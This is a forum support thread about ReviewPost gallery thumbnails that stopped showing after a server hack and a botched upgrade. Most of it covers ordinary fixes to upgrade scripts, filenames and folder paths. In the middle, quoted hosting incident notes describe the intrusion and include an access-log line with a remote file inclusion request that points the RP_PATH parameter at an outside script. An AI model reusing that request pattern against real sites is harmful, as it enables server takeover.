Thumbnails not displaying in index or showcat pages

[ace67]

This is a strange one. All my images were fine last week. Today, the index.php and the showcat.php pages are not showing the thumbnails, but the showproduct.php pages are showing everything correctly. How can I get the thumbnails to show on the other two pages again?
http://allearsnet.com/reviewpost/index.php

[Chuck S]

Have you made any mod rewrite changes to your site?

http://allearsnet.com/reviewpost/dat...ool3-thumb.jpg

The thumbnails exist and are even current in the alt text so unless something was blocking them dont know what to say. It does not appear to be a script issue itself as some thumbnails show just fine

http://allearsnet.com/reviewpost/showcat.php?cat=30

and the rest dont

http://allearsnet.com/reviewpost/showcat.php?cat=36

[ace67]

Chuck, one of the staff got hold of my server tech people about this issue to see if they changed anything on the server. Our server went down last Thursday and the tech people determined the following (this came directly from their logs):

9/28/2006 9:42:13 PM bgerman Yes 30
Diagnosis: Server hacked. Binaries infected, including probably most of /bin. Unable to replace binaries with fresh copies, at least some of them, due to \"permission denied\" or \"write protected\" errors. Attempted use of chattr command, no luck. Recommendation/Solution: Server still down at this point, unknown if anyone else has worked on it yet. Attempting to find out now.

<snip intermediate tech reports of work being done to get server back>

9/29/2006 9:23:20 AM bgerman Yes 30
Server appears clean at this point. Attack vector was likely default config of PHP, which left fopen on. Disabled fopen, made wget, lynx and scp root-executable-only, upgraded and ip-restricted webmin just to be safe. Also followed ssh best practices (disallow root login, disallow ssh v1 protocol). Leaving it up to DvV or WW to correct ldap configuration so that solo-adm works again. After that\'s done, go ahead and remove solo-admin local account.

9/29/2006 9:26:40 AM bgerman Yes 15
Update, it appears attack vector was the \"reviewpost\" directory (/var/www/html/allearsnet.com/reviewpost). Directory contains a .bash_history file which shows the steps taken to infect the server. It is unknown whether the configuration changes I made to php.ini would (a) prevent future attacks or (b) break existing code.

Attack vector confirmed to be a vulnerable version of ReviewPost. From http://secunia.com/advisories/21971/ -- Input passed to the \"RP_PATH\" parameter in index.php and other unspecified files is not properly verified before being used to include files. This can be exploited to include arbitrary files from local or external resources. From access_log -- 64.14.68.99 - - [27/Sep/2006:09:11:30 -0400] \"GET /reviewpost/data/37/1tea1-thumb.jpg HTTP/1.0\" 200 5469 \"http://www.allears.net/reviewpost/index.php?RP_PATH=http://wasuw.tripod.com/a.txt?\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FDM; .NET CLR 2.0.50727)\" 64.14.68.99 -


And there's a lot more examples. Anyway, I need to know what if anything can be done to get the program displaying the proper images again or if being hacked through RP has totally ruined my ability to use it properly. Thanks for any help you can offer.

[Chuck S]

well if your using an old copy of the software you might want to upgrade it

We dont use $RP_PATH in our current program other than what is code from the config file. It is not usuable though a $_GET parameter ever.

The only variables that are declared in our program are the ones ran through our typecast feature and thats not one of them.

[ace67]

We are using version 3.11. The talk about the RP exploits was for versions in the 2.x range so we thought all was fine. Obviously, it wasn't.

Will the current version work with the PHP changes our server techs did (specifically no fopen) if we upgrade? Would we have to reinstall the entire program to fix or would simply uploading the newer files to replace old ones work?

[Chuck S]

We use fopen for various things in our program it is a file upload program by nature.

Our security code was added to Reviewpost till 3.0 so there is no way the expliot you posted could have been done specifically to your reviewpost as stated since variables we do not typecast do not get declared

You can upgrade to 3.32 and do a normal upgrade procedure and see where your at after that. I do think though you will have issues with fopen.

[ace67]

I tried doing the upgrade and the program died. Just a blank page. So I replaced the script pages with the 3.11 ones and the program works again but now ALL of the images are gone.

I am so lost and getting in deeper all the time. I don't have a clue what to do next.

[Chuck S]

Obviously you ran the upgrade so you need to run the new files as far as a blank page it all depends what you did. If using vb3 integration your proper vb path needs to be in the config-intr.php file. White page means a PHP error your server is not displaying some info from your display logs would help.

Did you properly finish the upgrade? Looks to me like you ran upgrade twice

You need to restore your mysql table backup upload all new files and run the upgrade ONCE this time.

[ace67]

Okay... deleted database. Restored backup. Uploaded the new files. Ran upgrade.php. Got the blank index page again. Just for the heck of it, put old index.php up and it works. Went to admin section and script shows version 3.32 installed.

Checked error log and saw this from when I used the new index.php:

PHP Fatal error: Call to undefined function: get_statscache() in /var/www/html/allearsnet.com/reviewpost/index.php on line 173

What happened?

Also, someone spoke to our ISP yesterday and they turned on allow_url_fopen again. But the images are still not showing. This time none of them show anywhere.

My error logs are getting huge because everytime someone accesses a ReviewPost page, the images are being logged as:

[Fri Oct 13 13:21:02 2006] [error] [client 65.211.55.166] File does not exist: /var/www/html/allearsnet.com/reviewpost/data/3/22bwv23-thumb.jpe, referer: http://allearsnet.com/reviewpost/sho...8&cat=3&page=1

What do I do now?

[Chuck S]

It says the file does not exist and is as we have already posted to you before. You ran your 3.1 upgrade more than once which results in filenames having userid's prepended twice not once on filenames see this

http://allearsnet.com/reviewpost/dat...wv23-thumb.jpe

Does not exist

http://allearsnet.com/reviewpost/dat...wv23-thumb.jpe

Does exist

Therefore if you restore a database backup before you messed things up and run the upgrades you need to. Make sure for instance you really need to run the upgrade 31 as you may have already had that. I think you may not be sure what you need to run or what you where running before or your running as I stated the one upgrade more than once. As far as undefined function you need to ensure you have all the proper files uploaded

get_statscache function is in the new pp-inc.php so if you got that error it means you had an old pp-inc.php on the server

[ace67]

I did everything you said to do. All the upgrade scripts went perfectly. but still no images. They still have the extra digit. I DID NOT run any upgrade more than once. I started with the 3.11 to 3.2 one. Everything went fine. But the images DON'T WORK!

Your program makes me feel stupid. IT WON'T WORK!!!! I am so frustrated with it.

Where do these extra digits to the filenames get added? Are they put in the database? Can I go through and change the names in there so it will display my images? Everything else seems to be working properly.

[Chuck S]

As I already stated you either ran the 311 upgrade twice or you never needed to in the first place which is what I had already posted. Whatever your doing your running that script and putting the userid on the front of the images again

If you insist your not running it twice then you already had 3.2 and not 3.1 and mistakenly ran that upgrade again.

So restore your photos table and using phpmyadmin see what your photo names are in your products table bigimage field. If they have a number in front of the image name DO NOT RUN 3.1 upgrade run 3.2 forward.

Your issue can only be what I am saying.

[ace67]

Thanks for putting up with my frustrations, Chuck. I was so lost trying to figure this all out. Your last reply gave me a place to start. I didn't dare try to run the upgrades again as everything other than the images was working as it should.

So what I did was go into rp_products and manually remove the extra leading digit on the filenames. Then I tracked down the path where the program was looking for the images in from the alt filepaths that displayed when hovered on.

I saw that there needed to be a thumbs subfolder in each data numbered folder and all the files that had "-thumb" in their names had to have that removed and moved to the thumbs folder. After I did that to all, I found that the ones that were marked "-large" stayed in their current folder but had to have the "-large" removed from the filename.

And lo and behold, I once again have images! Is there anything I haven't thought of that needs to be changed?

[Chuck S]

well the upgrade script should create all the directories and move files as needed.

You manually doing things did not correct everything as noted here where are the normal images

http://allearsnet.com/reviewpost/sho...uct=334&cat=75

[ace67]

That's because I haven't finished changing all of them yet. I have over 50 data folders to do. Went through and did all the thumbs first time. That's why you see the thumbs on that page. Now in the process of going back and doing the large ones. Only have about 5 data folders done with the large ones right now and the page you linked isn't one of the completed folders. Once I do finish (hopefully by tomorrow afternoon), they will all be working.

So since that was the only thing that you found, I'm tickled pink that this upgrade will finally be finished when I do them all. Do me a favor and don't release another upgrade until about 2010.

[Chuck S]

well like I said if you had good working backups and ran only the upgrades you needed to you would not have to do what your doing but since you started it you have to finish it

[ace67]

Okay, I have the images displaying but... RP is looking for them in the old filepaths (javascript: http://allearsnet.com/reviewpost/data/3/image.jpg) instead of the new ones ( /data/3/large/image.jpg). I can't seem to find anything in the database to change to get it to point the paths to the new /large and /thumbs folders. What do I need to change to accomplish this or is it even necessary to change?

Part two:
How do I get rid of the broken image icon to the right of the review summary (reviews, views, recommended by, etc) as seen on http://allearsnet.com/reviewpost/sho...oduct=18&cat=3

[Chuck S]

The minute you started hand editing things and did not follow the upgrade you caused some issues which you need to correct manually as well

http://allearsnet.com/reviewpost/sho...oduct=18&cat=3

WHY DO YOU PREVIEW IMAGES NOT EXIST?

There should be a thumb image a large image if it is over the preview size and of course the normal image which resides where it is suppose to in the data directory itself

[ace67]

Yes, I understand that I caused some issues that need to be corrected and I'm very eager to correct them. Maybe if you had told me when I first started encountering the upgrade problems with the images that it wouldn't work with certain PHP ini settings set to on or off, this all could have been avoided. I *knew* I didn't run the upgrade script twice or run the wrong one.

But that's water under the bridge and there's no turning back now. So let's work together to get this straightened out. I'm more than happy to tackle the extra work required with your guiding me as to what needs to be done.

So are you saying that there needs to be three images: one in /thumbs, one in /large and one in the data/3 parent folder?

[Chuck S]

yes thats exactly what I am saying which is why I asked why your image is not there. You would have had to physically delete these and seeing that your now are copying the large images over to the main directory I am seeing this is what you did